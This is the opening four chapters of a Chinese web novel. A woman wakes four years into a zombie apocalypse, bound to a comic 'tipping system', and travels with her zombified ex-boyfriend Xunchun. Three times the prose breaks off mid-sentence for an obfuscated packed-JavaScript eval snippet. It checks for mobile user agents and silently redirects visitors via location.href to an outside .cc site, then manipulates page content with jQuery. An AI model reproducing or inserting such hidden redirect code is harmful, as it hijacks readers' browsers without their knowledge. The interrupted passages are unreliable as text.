《在末世绑定了打赏系统》 1. Chapter 1 烈阳当空。 续昼从床上坐起来。 金色光芒透过窗台，洒向地板上破碎的玻璃，微风吹过，带着空气中弥漫的灰尘糊她一脸。 她打了个喷嚏。 看着眼前陌生且脏乱的场景，她眨眼。 她一定是没睡醒。 续昼躺下，闭眼，重启。 十分钟后，续昼被迫接受现实。 沿海城市出现沙尘暴，席卷她的家，毁坏一切，最后完美绕过了床上躺尸的她。 谁信啊？ 她挠头，无能狂怒。 手机电脑黑屏，无法开机；房间一片狼藉，停电停水；食物腐烂，散发臭味；窗外寂静无声，一眼看去，破败褪色，房屋坍塌，整座城市已经荒废。 续昼站在阳台。 这是什么情况？ 一觉醒来之地球只剩下我自己？ “尊敬的同盟，你好。” “现在是末日第四年，地球旧历2967年5月17日，星期一，天气晴。” 一道机械音响起。 “谁？” 凭空出现的声音让续昼摆出防御姿势，警惕四周。 “不必惊慌。” “我暂存在你的脑海中。” “我是打赏系统7528号，希望接下来我们共事愉快！” 机械音再起，以非常平静的声音叙说天崩地裂的现实。 地球旧历2963年9月25日，晚上十点半，受银河系中心磁场错乱影响，强烈的辐射向周围迅速扩散，同时波及整个星系。处于边缘地带的地球全面爆发感染性病毒，灾难来的毫无预兆，一瞬间，部分人类感染发作成为丧尸，暴动肆起，人类陷入绝境。 嘶吼声起，末日来临。 天灾来势汹汹，打了个措手不及，一夜之间，近半数的人类沦为丧尸。尽管第一时间开启火力压制，但还是抵挡不住丧尸群扑向手无寸铁的人类。无数人倒下，接着无数丧尸站起，浩浩荡荡，千军万马过街。 幸存者四处逃窜，寻找生存的希望。 经历最初的黑暗时期，一些幸存者集结，开始建立基地。清理尸体、场地，搭建庇护所，收集资源，人类努力自救。一座座基地拔地而起，护着周边的一亩三分地。 到现在，已经是末日来临的第四年了。 “末日吗？” 续昼震惊之余，全是恐惧。 再看过去，城市的高楼大厦在灰白的天空下显得格外渺小。她双腿一软，抓紧栏杆稳住身体，不知道怎么面对这个消息。 她只记得，自己昨天还在高兴第二天双休，虽然晚上发生了不愉快的事情，但是她相信第二天就能解释清楚，没想到现在过了一夜就变成末日了。 她只是睡了一觉醒来。 “我，我父母怎么样了，你知道吗？还有……”续昼神色慌张，急忙问机械音。 她本想接着说什么，又及时止住。 系统7528没在意她后面的话，只回答了前面的问题。 “查询到两人已死亡。” “节哀。” 话音刚落，续昼再也撑不住，瘫倒在地，泪水无声流淌，身体微微颤抖，双手紧紧握住。良久，她蜷缩成一团，脑袋埋在双臂之间，只听见微小的抽泣声传出。 明明她昨天还在和他们打电话，说国庆要带他们出去玩。 …… 感受到续昼的情绪波动，系统叹气。 翻阅数据库，找到一首轻音乐，开始播放。 抽泣声戛然而止。 续昼抬起头，边哭边说：“你好烦啊……放什么婚礼进行曲？” 说完，嘴角一撇，哭的更大声。 “抱歉抱歉。” 系统手忙脚乱关闭轻音乐。 再度叹气。 —— 续昼出生于一个普通家庭。 父母双方都是孤儿，两人自由恋爱，一起奋斗，在漂泊无依的城市经营起一个属于他们的小家。 她是在爱里出生的小孩。 父母是他们俩首次接触到的新身份，但孩子不是。他们俩孩童时期缺失的爱投射到她身上，塑造了现在的她。 总是能第一时间感知到她的情绪，知道她需要什么，像朋友一样相处，教她独立，不给她压力，尽他们俩的努力在他们俩的范围之内给她最好的，替她记录她人生中大大小小所有重要的时刻…… 他们的爱给了她最好的底气。 “我们的过去已经不能补救了，但你的现在，时候正好。”妈妈帮她梳好辫子，细心整理衣领。 爸爸在一边收拾她要带的东西，嘴里叼着面包片，几口吃进去，应和妈妈的话：“就是就是，当孩子要愁什么啊，开心就好。” 两人将她送到小学门口。 “我们等你回来啊，你悄悄告诉我们饭菜味道怎么样，爸爸妈妈还没吃过小学的午饭呢。” “好。” 她挥手，走进校园。 回头看，两人挽着手，背影越走越远。 …… 续昼睁开眼。 她抹去眼角的泪。 父母的身影越走越远，而她还在原地踏步。 “他们肯定希望你好好活着。”系统说。 它也“看到”了续昼的梦。 它发誓不是故意的。只是它现在与她共生，她的情绪波动太大，它自身程序设定让它被动捕捉到她的梦境，并且进行解析。 有时候太厉害，也是一种负担。 系统默默感慨。 “我知道，”续昼轻声道，“只是，我遗憾没有见到他们最后一面。” 高考后，父母就搬去了楼江镇定居，与她所在的城市相隔千里。 “现在去也不迟。”系统提议，“送他们最后一程还是可以的。” 续昼犹豫。 她很想答应，但是现实问题摆在眼前，凭她自己很难顺利找到父母。 “你能帮我？” “能。” “你想要什么？” “我要你完成任务。” 系统解释了为什么续昼一觉醒来是四年后。 系统原定目的地是隔壁星系。途中遭遇陨石流，额外消耗了大半能量。再加上加急赶路，它最终因为能量不足，被迫掉落至地球。中心磁场错乱时，紧急模式自动绑定了最近距离里符合条件的人，也就是续昼。 后面，系统消耗仅存的能量开启保护罩，清除续昼体内的病毒。能量归零后，系统进入休眠，续昼也进入沉睡。 这一睡就是四年。 系统吸收了周边散落的能量，结束休眠，续昼跟着醒来。为了能顺利前往隔壁星系，它需要续昼完成任务，获取足够的能量。 “任务很简单，你只需要给别人打赏。” 系统语调轻快。 在它看来，与它同期的那些攻略系统相比，它发布的任务简直就是天上掉馅饼的好事。 “给谁打赏？” “怎么打赏？” “用什么打赏？” 续昼三连问。 且不说给谁打赏，据她所知，一般打赏都是直播、视频打赏，单说这，末日有这么好的网络条件吗？ 这好比让一条鱼在沙漠里来个自由泳。 “用这个。” 刚说完，续昼的面前浮现一块十五寸大的电子屏幕，正中间写着“暂未连接”四个大字，下一行写有“未开启打赏，请点击开始连接”的小字，左上角是“个人信息”，右上角是“打赏详情”。 点开“个人信息”。 【姓名】续昼 【等级】1级 点开“打赏详情”。 【未查询到打赏情况】 简洁且朴素。 续昼有点怀疑这是临时抱佛脚赶工的内测版，和她见过的那些直播界面根本不能混为一谈。 “别看它这么简单，实际上它确实很简单。”系统继续说，“不过，够用就行。你点击开始，它就会自动查询打赏对象，查询出来后点击打赏键，任务就完成了。不用担心账户余额不足，我这边会出钱。现在你是1级，每天只能打赏一次。” “不给我返利吗？”续昼问。 听系统介绍完，她的作用就是一个工具人，类似打开插板电源开关，打开电器，让电器自行运作。 但为什么？ 这么简单，它自己不能完成吗？ “你都没有付出，你为什么还要收获？”系统不理解。 “我没有收获，我为什么要付出？”续昼反问。 ？ 系统卷成了一团黑线。 好像有什么不对劲，但是它又说不清楚。 “你说的不对，我不听。” 系统直接耍无赖。 嗯？ 这也行？ 这下换续昼愣住了。 “那我要是不做任务呢？” “那我就只能和你共度余生了。” 系统遗憾答道，顺便播放了一首婚礼进行曲。 “……” “关掉。” 续昼黑脸。 “为什么？我们还没到入场仪式呢。” 话虽如此，系统还是第一时间关闭音乐，只是语气中全是可惜。 “明天就走。” 续昼躺下，闭眼，盖好被子。 赶紧找到父母，任务结束后，她一定要给系统点一首《千里之外》，还得要是环绕声。 “对了，我给谁打赏啊？” “丧尸。” “给谁？！” 续昼一下惊起，满脸不可置信。 “丧尸。”系统仔细探查完续昼，觉得理所当然，“不给丧尸打赏，你想给谁打赏？” “给人啊。” 系统沉默，开始疯狂搜索数据库。几分钟后，它找到了。 “也不是不行，只是要花钱改个打赏身份。” “多少钱？” “比我去隔壁星系的路费还贵。同时打赏资金不互通，你还得花一笔钱把丧尸资金转化成人类资金才能使用。” “睡觉。” 续昼立马躺下，一秒也不带犹豫。 笑话，她看起来是有钱的人吗？ 还是早睡早起身体好。 “晚安。” 系统播放摇篮曲。 “……滚。” 她一定要给系统点两首《千里之外》。 —— 天色初明。 丧尸在中央大街逛街。 续昼在阳台打太极。 “真的不需要背景音乐吗？”系统还在挣扎。 “不需要。” 绝对不是因为她不相信它选音乐的品味。 “好吧。” 系统失落应好。 下一秒，纯正的播音腔响起。 “我重生了，前世我是一个没人宠的系统……” “……” 续昼闭眼，深呼吸。 算了，不和非人类生物计较。 “我现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282809|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在就做任务，快把屏幕亮出来。” “好嘞。”略施小计就成功的系统欢快应道。 电子屏幕浮现，续昼漫不经心的点击开始。 一大早醒来，系统就企图让她做完每日任务赶紧上路，为此它放了五遍婚礼进行曲、六遍下课铃响、十次唢呐纯奏的开头，目的是想让她受不了，主动开口说要做任务。 它成功了。 现在她一回想，脑袋里都还回荡着它的小作文。 越回想越后悔，应该晚点再提任务的，她还没听到小作文后续呢。 圆圈停止转动。 一个头像剪影出现在屏幕上，剪影看不出任何信息，下方有“打赏”和“重新选择”两个选项。 “我还能选丧尸？” “按道理是的。” 续昼点击“重新选择”，又转了一次。 还是一个头像剪影，和上一个没有任何区别。 “开盲盒？” “多刺激啊。” 听此，续昼挑眉，左看右看，这个剪影头发有点短，重选不过分吧？她又点击“重新选择”。 这个头大，重选。 这个脖子短，重选。 这个没有眼睛，重选。 这个耳朵招风，重选。 …… 续昼一次次重来。 “你。” 系统欲言又止。 它看懂了，她在报复，纯纯报复。 “我错了，下次我再也不放音乐了。” 系统投降。 什么男儿膝下有黄金，它不懂，它只知道它的膝下都是复合材料，能跪。 “就这个了。” 续昼停下选择，满意点击“打赏。” 下一秒，“打赏”选项变灰，彩色小花特效快速闪烁在头像剪影四周。半分钟后，特效消失，屏幕消失。 “没了？”续昼疑问。 “没了。”系统肯定。 没意思，她还以为能来个现场直播呢。 续昼继续伸展身体。 出发前她要热好身，以防她遇到丧尸，跑的时候突然来个抽筋崴脚。 系统藏在角落里，狂点屏幕，点了半天也没有任何反应。只有“打赏详情”里更新了一条消息：【续昼】给【寻春】打赏了一个花园。 系统扔开屏幕，暗自嘀咕。 内测版就是没用，1级不能选被打赏者就算了，连个直播也没有，下次填问卷它一定要反映这个问题。 —— “前面右转。” 系统尽职尽责当着导航。 续昼走出小巷，右转进入大道。她回头看，几只丧尸慢悠悠从左边的路走出来，拐进她刚走出来的小巷。 丧尸身体僵硬，四肢扭曲，耷拉着头，身体泛青黑色，衣物破碎不堪，肌肉腐烂的地方露出森森白骨。它走的每一步都摇摇晃晃，时不时掉下一点碎渣。 续昼捂住想吐的冲动，转身往前走。 一路走过来，她遇到了很多丧尸。 第一次直面丧尸，她心跳如雷，恶心与恐惧快速占据她的大脑，差点挪不动腿。还好丧尸距离她有点远，左转进入了其它路。 她在原地大口喘气。 本来以为自己已经做好了心理准备，没想到，真正遇到丧尸的时候，准备还是做少了。 “没事，第一次很正常。”系统安慰着她。 “谢谢你没用的安慰。”续昼有气无力回道。 “不用谢。”系统在导航之余，悄悄翻看了几页情商大全。没关系，一次的失败不能代表什么，它迟早有一天会成为系·情商大王·统。 之后，续昼就让系统早点提醒她绕路。她看得很开，她现在虽然还面对不了丧尸，但是她可以躲，她有躲的优势，她不会浪费这个优势。 但她还是会慢慢尝试去克服。 从先看丧尸的背影开始。 就是不知道她打赏给丧尸，会有什么影响。 续昼摇摇头，不再想这些。她爬上矮楼房的天台，俯视十字路口。 十字路口堆积了很多车，杂乱无章，建筑倾倒，红绿灯已经荒废。这里是和平时期车水马龙完美的具象化，也是灾难的重灾区，路面上的血迹已经凝结成黑。她静静的看着，已经能想到这里遭遇了什么。 天灾面前，人类渺小如尘。 她心沉了下去。 良久，风起。 续昼看向风来的方向，一片灰沉。 “丧尸群进城了！”系统咋咋呼呼的声音响起。 “我看到了。” 灰沉越来越清晰，是丧尸群浩浩荡荡朝这边走来，还有此起彼伏的嘶吼声。 续昼蹲下身，捂住耳朵，盯着丧尸群。 她不打算换地方，一个原因是系统说她很安全，另一个原因是她想锻炼自己，让自己尽快习惯丧尸。 距离楼江镇还有千里远，她迟早得习惯现在是末日。 丧尸群如潮水般涌来，步履蹒跚，眼神空洞，嘴里乱叫，直愣愣往前走。 续昼脑海中闪过“行尸走肉”，她努力压住生理反应，控制自己不去细看。 “你那个打赏对象过来了，”丧尸群走过大半，系统突然说道，“最后面的右边。” “你是觉得我能凭借一个剪影认出来吗？”说着，续昼还是看向右边。 灰尘扬起，顺着光，一张熟悉的脸撞进续昼的视线里。 她愣住，下意识站起身。 她张嘴。 “寻……” 2. Chapter 2 “……寻春。”续昼低喃。 “没错，就是这个叫寻春的，就是你刚刚打赏的。”系统点头，心里默默称赞续昼孺子可教也。 她果然仅凭一个剪影就能认出来。 真不愧是它选出来的。 有这么厉害的同盟，它还怕不能去隔壁星系，还怕不能在系统期度总结大会上得到表彰吗？ 好像…… 还是有点怕。 系统看着那个叫寻春的丧尸目标坚定朝天台跑过来，而它厉害的同盟，续昼一点动作都没有，傻看着丧尸跑过来。 “哎？你被吓懵了吗？回神啊——啊他过来了——” 系统紧急预警。 虽然它知道她很安全，但是他在徒手爬楼哎，她站在天台边缘，不怕被他抓到，失足落下吗？ 续昼往前一步。 系统闭嘴，沉默。 好吧，她不怕。 不过，离得近了，系统察觉到不对劲，这丧尸身上怎么有它的能量波动？ —— 太阳出来了，丧尸群又开始集合散步。 这次是从圆石墩开始的，因为上次是在这里结束的。 寻春躺在矮石头旁边，被路过的丧尸踩了几脚，他转动眼珠子，慢慢爬起来，落在最后面。 走在后面的丧尸不安分，步伐歪歪扭扭，双臂乱甩，寻春被打到了不止一次。 他没有反应，只跟着大部队前进。 太阳正当头。 丧尸群走过十字路口。 寻春又被丧尸杵了一肘子。 他摇头晃脑，抬头，对上续昼的视线。 久到不知道什么时候起，寻春一直有一个念头。他每次跟着丧尸群散步，在城市转圈圈，周而复始，无所收获。 现在不用了。 他找到了。 他拨开周边的丧尸，往前跑去。 往前跑。 爬楼。 他站在她面前。 —— 续昼闷头往前走。 系统点开屏幕查看到寻春的轨迹，他一直不近不远的跟在后面。 它百思不得其解。 这就是打赏的作用吗，能得到一个丧尸牌跟屁虫？ “他为什么要跟着你？”系统好奇。 “不知道。” 续昼控制住自从见到寻春后就在脑海里翻飞的思绪，停下，转身。 寻春也停住，与她面对面。 续昼深呼吸，大声骂：“寻春你个狗丧尸，让你提分手，哼，活该变这样。” 嗯？ 不对劲。 系统眼睛一眨也不眨，唯恐错过精彩片段。 寻春歪头，神情呆滞，叫了一声。 “就你厉害，就你会说分手。现在我好好的，你后悔也没机会了，气死你！”续昼又骂。 寻春又叫了一声。 “叫什么叫，显得你了，就你会叫。” 寻春再叫。 “谁不会叫啊？” 寻春接着叫。 …… 两人说的有来有回。 系统看懂了，寻春是真的句句有回应，虽然回的不知道是什么，但有一说一，这个态度很端正。 这么一看，好像续昼说他是狗丧尸也没错，像狗一样会叫着回应的丧尸。 形容的不错。 就是这骂的太无聊了，也不告诉它是怎么分手的。 系统放了一首爱情神曲。 “……” 续昼安静。 寻春又叫，双手乱挥，像在摇花手。 续昼气笑了。 她在骂他，他在摇花手。 算了，她和一个话都不会说的丧尸计较什么。 “系统，调地图。我们的进度已经落后了，要快点赶路才行。” 什么进度？ 哪里落后了？ 你要不要听听自己在说什么胡话？ 系统心里指指点点，嘴上唯唯诺诺。 “直走，下个路口左转。” 续昼看了一眼寻春，按照导航走。 寻春立马跟上。 —— 晚间有点凉。 续昼赶路的时候从超市里拿了顶帐篷。寻春看到了，走上前顺手提过。这么有眼力见的丧尸不多了，她感慨，落得个清闲。 只是她后知后觉，他这个丧尸怎么感觉还挺灵活的？ 帐篷是续昼自己搭的。 寻春原本是想上手，但是他左转右转，实在是找不到地方下手，只会把帐篷布扯出一道长五厘米的口子，再从口子处撕下一块布条。 他拿布条走到续昼面前，白色眼珠子盯着她。 正在计划如何搭帐篷的续昼抬头一看，头都大了。 寻春见她没反应，将布条又往前送了送。 续昼：…… 太有眼力见也不好。 “谢谢你这没用的布条。” 说完，就把他赶走了。 续昼在系统的友情指挥下搭好了帐篷。帐篷哪里都好，就是帐篷门前缺了一根布条，晚风从缺口呼呼钻进去，吹得帐篷里发凉。 续昼拢拢外套，抱紧双膝，透过缺口看外面，刚好看见寻春正对帐篷，倚树站着。 变成丧尸，他身形更加清瘦，衣服被风吹得鼓鼓囊囊，里面却空荡荡。 她心情复杂。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282810|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “系统。” “我在。” “系统。” “怎么了？” “系统。” “……拒绝冷暴力。” 续昼闭嘴。 她想说，但又不知道说什么。 夜晚太安静了。 想法刚冒出头，下一秒，一阵明快又热烈，且掺杂着让人无法抗拒的节奏感的旋律响起。熟悉的旋律交织着动感的节拍，仿佛有一种神奇的魔力，瞬间将她拉回记忆中的某个时刻。 傍晚，夕阳的余晖洒在广场上，广场上人头攒动，音乐声此起彼伏…… 续昼的心突突跳。 系统播放了广场舞神曲。 “怎么样？热不热闹？” “热闹，太热闹了。”热闹到她都想跳起来舞一曲，趁着摆手的动作呼系统一脸。 歌曲就算了，它还放了很多人声，近到她以为就在耳边说话。 “下次我还给你放。”听到回答，系统美滋滋。 它就知道这个被下载几亿次的歌曲肯定不差。 被系统一打岔，续昼也没了愁绪。她挪到没有缺口的一边，躺下休息。 “我睡了。”她大声说。 “我休眠了。”系统紧随其后。 某个丧尸也叫了一声。 听此，续昼闭上眼。 —— 续昼是被细碎的声音吵醒的。 在梦中，她突然意识到自己在做梦。 “她”快速跳跃在山间，低沉听不清的声音在后面追逐，前方浓雾弥漫，周边的场景在破碎，令人窒息的紧迫感压着“她”一刻也不敢松懈，只能拼命往前跑。 她挣扎，尝试着醒来，但喉咙发不出一点声音，身体也仿佛有一双无形的手死死的压着她，如同深陷沼泽，无法动弹。 窸窸窣窣的声音在耳边响个不停，她紧皱眉头，心里越来越焦躁不安，想要大声呼叫，却张不开嘴。 紧接着梦境越来越模糊扭曲，“她”向前一个翻滚，跳到半空中，不知道从哪冒出来的黑暗吞噬了她。 “吼——” 一声起。 续昼猛的坐起身，大口大口喘着气，身后早已冒出冷汗。 她清醒的知道这是梦，但逃离不了的无助感开始萦绕着她。 她越来越慌乱，没有思考，凭惯性掀开帐篷门，喊道：“寻春——” 目光甫一看到外面，她止住动作，呆呆地站在原地，眼睛微睁，瞳孔中倒映出令人难以置信的画面，嘴巴微张，没有出声，心中翻涌起惊涛骇浪。 只见月光朦胧，清瘦的身影背对她，单手护住身后的帐篷。不远处，是龇牙咧嘴张牙舞爪的丧尸群。 3. Chapter 3 楼江镇靠海，是国家评估的宜居镇之一。父母早就有了想法，在续昼高考结束后，就和她商议着搬去楼江镇定居。 而续昼在持续两周的毕业旅游结束后，来到楼江镇。 来了一周，续昼就没见过楼江镇的早晨。 晚上和朋友聊天，听说楼江镇的日出很美，她翻个身，决定第二天早起去看。 晨雾漫过栅栏时，续昼背上包，推开大门，思忖着早餐吃什么。 隔壁传来推门声，檐下的燕子被惊飞，它如墨点摇曳，最终停留在门楣，潮湿的尾羽轻轻摇晃。 续昼目光下移，只见一名身穿白衬衫的少年关上门，转过身，似是注意到她的视线，他抬头望向她。 “你好。”触及那双一潭静水的眼睛，续昼想也没想，直接开口问好。 “你好。” 少年点头应好，转身离开。 背影消失于雾间，她最后的记忆停留在他的衬衫间别着一枚褪色的徽章。 还挺好看的。 续昼心想。 这是续昼与寻春的初见。 后面的时间里，续昼每每遇到寻春，都会主动跟他问候。他的回答一如既往地平淡，和他那双眼睛一样。 那双眼睛望着她，时间久了，她仿佛也生出了别的心思。 她不认识寻春，但是父母认识。 “你问隔壁那个男孩子？”续母端起水壶挨个给花盆浇水，续昼跟在她身边吃苹果，“他叫寻春，和你一般大，不过他一个人住。人还挺热心的，上次你爸不在，送过来的箱子又多，就是他帮我搬的。” “他为什么一个人住啊？” “你呀，别乱打听别人的事。” “知道啦。” 续母抬起手，食指轻轻弯曲，用指关节轻敲了一下续昼的额头。后者嘿嘿一笑，顺势挽上续母的胳膊，立马点头。 续母说起其它的话题。 续昼看着和隔壁一样的花，若有所思。 晚饭，续父提起寻春，话里话外也是对他的赞扬。 续昼对此更好奇了。 吃过晚饭，她站在二楼阳台，对面就是寻春的家。 此时漆黑一片，他还没有回来。 他家院子里种了很多蔷薇，现在正是开花的季节。矮矮的灰砖墙伸出深褐色的枝条搭在阳台栏杆上，顶端的四五朵蔷薇开得正艳。 她伸出手，摩挲花瓣。 正想着这花开的真好看，一晃神，路灯下已经站了一个人。 他扶着自行车，站在门口，看着她伸向蔷薇的罪恶之手。 “晚上好，你家的花真好看，我能摘一朵吗？”续昼笑问。 晚间的风带来蔷薇花香，绿叶婆娑，沙沙作响。 “可以。”半晌，他答道，“晚上好。” 说完，他推门进。不多久，隔壁亮起灯光。 真可爱。 续昼心情很好，伸手轻点每朵蔷薇花的花冠，边点边数，嘴里嘟囔着哪朵花最好看。 最后也没有得出结果。 她也没有摘花，只是偶尔给花洒点水。 楼江镇有环海公路，续昼也是看到寻春的自行车，才萌发想去沿海骑车的想法。 续父说让她走彩石公园那边，人多热闹，风景也好看。 续昼应好。 当天，风景美如画。 美中不足的是车链掉了。 续昼蹲在自行车旁，给续父打电话，想让他来解救自己。她打开手机，瞥到前方，眼睛一亮，手比脑子快，自然就点出相机，对准前面拍了一张照片。 照片里，寻春抱着向日葵，微微低头。 “你好啊。” 好巧，续昼收回手机，站起身，挥挥手。 寻春听到她的声音，停下脚步，转头寻找声音来源处。看到她，他点头说：“你好。” “你会修车吗？我的车链掉了。”她指着旁边的自行车。 “我可以试试。” 寻春将花束递给续昼，蹲下身查看车链情况。 续昼抱着花站在旁边，看他。 热浪在柏油路上扭曲空气，林荫道上树影斑驳，海风吹来，蝉鸣声响起，石砖上的光斑在旋转。海鸟掠过海面，远处的海浪碎成玻璃渣。 热闹声似已远去。 光影跳跃在他的侧脸，看起来更加温柔了。 续昼心里越看越满意。眼神看到向日葵，她心头一跳，拨弄着花束，不经意问道：“这花不错，你在哪买的啊？” “家教送的。”寻春答。 “原来如此，你是喜欢花吗？” “还行。” 寻春最后检查完链条的运转情况，站起身，推着自行车走了几步，确定没问题后对她说：“好了，你可以试试。” “不用，我相信你。”续昼单手抱花，从挎包里取出一包湿巾，递给他，“给你。” “谢谢。”寻春接过湿巾，仔细擦拭被弄脏的手。 “没事，是我谢谢你才对。多亏有你，不然我就要在这等到落日了。” 他的手指修长，骨节分明，就算是做简单的动作，看起来也让人赏心悦目。 续昼心里默默夸奖。 “为什么要等到落日？”寻春疑问。 “因为我还想看日落啊。”续昼指着海平面的方向，海天交接处的上方是蠢蠢欲动想要下山的太阳，“我还没看过海上日落呢。” 寻春偏头，看了海面，又转向正在看海的续昼，静静的说：“挺好看的。” “你看过吗？” “看过。” “那你要不要再看一次？” 见寻春擦完了手，续昼将花还给他，直视他，期待着他的回答。 寻春接过花，望着她的眼睛，一时间没有回话。 续昼也不急，等着他的回答。 见状，原本想要拒绝的话，他再说出来就变了个意思：“好。” “那我们再等等。” 续昼笑了起来，一双弯弯的眼睛像月牙。 寻春点头。 “对了，你还不知道我的名字吧？我叫续昼。” “寻春。” “很好听的名字，就像你一样。” “嗯？” “给人一种春天的感觉。” …… 两人找了一个长木椅坐下，聊着天南海北的话题。那天的日落如同寻春说的一样好看。 最后相机定格的瞬间，海鸟划过，橘黄色的余晖与湛蓝的海水一同惊艳了时光。 她望着他，好像有什么东西悄悄破土而出了。 大学开学悄然而至。 续昼去学校的那天早上，隔壁大门紧闭，平时早上就能看见的人，一直没有出现。 看着满墙蔷薇，她有点小失落。 早知道她就提前预告了。 续母开车送续昼前往车站。 车刚启动，就见一个人从后面的转角走过来。 他抱着花。 走上前，站在自己家大门口，看着车开远。 来得有点晚了。 寻春看向花，又看向空荡荡的街道，最后将花放在门口，拍了一张照片。 拍完照片，他拿花进门，慢条斯理的处理花束，去除多余的叶片，斜切花脚，装进花瓶，原本沉闷的空间瞬间被鲜艳亮丽的花朵点缀。 【我开学走了】 【目前距离学校进度三分之一】 “嗡嗡”两声，手机来消息了。 寻春一看，是续昼发来的消息。 【一路顺风】 看到寻春的回复，续昼见怪不怪，她已经猜到他会回复什么了，果然，经过这么久的相处，她就是了解他。 续昼美滋滋。 哎，就是不知道什么时候才能再见面。 这一天来的很快。 因为续昼在大学里见到了寻春。 “你也在这？” 还没开始军训的续昼和室友一起逛校园。校园太大，她们走到一半走累了，商量着要休息，刚好教学楼前的一块草地上有石凳，她们便就地取材。 下课铃响，看到人群中的寻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15282811|166912||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 春，她很惊讶，和室友打了声招呼，便上前去找他。 “对。”寻春说，他也很惊讶。 续昼感叹命运。 命运真的很奇妙。 发现两人在同一所大学后，续昼和寻春的关系越来越近，近到最后，续昼挑了一个很平常的日子向他表白。 要说那天也不平常。 刚好是周末，两人都没有课，也没有作业。 预报说那天会有日食，正巧寻春约她出去，她就当是老天派来的好日子，要是他拒绝，她就说自己的脑袋被日食照昏了，说了胡话。 给自己找好借口的续昼毅然奔赴战场。 临走前，她的室友齐齐为她加油打气。 寻春约的地点是中心广场的花园，那里有一个巨大的城市文化标志——圆石墩。 广场人潮涌动，喧嚣声漫进花园。寻春端坐在长木椅上，白衬衫领口微敞，怀中抱着一束花。他目视前方，树影将侧脸细分成明暗碎片，光影斑驳。 续昼在树后驻足。 她指尖无意识地捻了捻衣角，拍拍不存在的灰，又将碎发别至耳后。小贩的叫卖声传过来时，她踩着细碎的阳光走上前去。 “你来的好早啊。” “是我约你，应该的。” 他起身，骨节分明的手递过花束，邀请她坐下。 话题随着云朵游移，直至日食出现。 起初只是边缘缺了一角，像被隐身的天狗咬了一口。渐渐的，缺口开始在太阳身上跳跃，扩张自己的地盘。光线逐渐暗淡，周边人群开始躁动起来，惊叹声此起彼伏。 寻春抓住了续昼的手腕。 阴影蚕食完太阳，黑幕倾覆的瞬间，喧闹的世界仿佛被按下了静音键，续昼转头撞入一双灼灼的眼。 那些千百次的预设突然被她抛到脑后，她翻手反抓住他的手腕，笑意盈盈：“寻春，我喜欢你，我们在一起吧。” “好。”寻春尾音裹着笑意，在骤然炸开的尖叫声中格外清晰。 太阳从月球的阴影中挣脱时，混乱的人群像潮水漫过石阶，寻春单手将她护在身后，带着她一步步，缓慢后退至人群边缘地带。 续昼望着他绷紧的后颈线，飘忽不定的心忽然安定下来。她抬头望向天空，阳光再次洒满大地。 —— 记忆中的身影与现实中的身影渐渐重叠，续昼回过神来。 “系统，你说丧尸会有意识吗？” “他有脑电波。” 系统躺着看戏。 风起，续昼忽然一笑。 末日那天，她收到了寻春发来的消息。 【我们分手吧】 一句没头没尾的话一瞬间让她晃了神，以他的性格，他从来不会说这种话。 她不知道他遭遇了什么。 当时他在楼江镇，两人远隔千里，发消息不回，打电话不接，父母、朋友都没有他的消息。 她联系不到他。 她感到迷茫，心里一直怄气。直到醒来发现已经是末日四年后，陌生的环境让人不安，她很想知道他的情况。她赌气不问系统，想着以他的能力是不会出事的。 命运无常，他成了丧尸。 可他还记得她。 他努力来到她面前，她有种想哭的冲动，但她又气他一言不合就说分手，于是一路上都装作不在意的样子。 直到现在。 她的心跳声告诉自己—— 和丧尸谈个恋爱又会怎么样呢？ 续昼动了。 她走上前，攥住寻春的手腕。他偏过头似是不解，想挣扎摆脱，但又犹豫不定。 丧尸群的叫声点燃逃跑的信号。 她毫不犹豫拉着他往后跑，马尾在脑后疯狂跳跃。他踉跄半步，错愕跟着她的步伐。 风呼啸而过，丧尸群紧随其后，沉重的脚步声仿佛让地面也颤抖起来，系统在她脑海里欢呼。她急促的呼吸乱在风里，尾音飘散在奔跑的气流里，却始终没有松开那只冰凉的手腕。 她说， “寻春，我们私奔吧！” 4. Chapter 4 后视镜里，丧尸群的身影正在缩小。续昼猛打方向盘，绕过街道，朝跨江大桥疾驰而去。 过了跨江大桥是老城区，出老城区后，沿着国道往南开，就是去楼江镇的路。 续昼看了一眼油表，指针往左偏移，没有多少油了，不知道半路会停在哪，她得加点油或者换辆车。 她又看向中央后视镜，镜子里，寻春双手放在膝盖上，端正坐好，目视前方，身形随车微微摇摆。 乖巧的不能再乖巧了。 “人啊，果然还是不能冲动。” 续昼再次想起自己做的事情，还是会感到不可思议。她怎么就仿佛被一团火焰点燃了呢？能做出这么疯狂的事情。 拉着丧尸从丧尸群里逃亡。 她做梦都不敢这么梦。 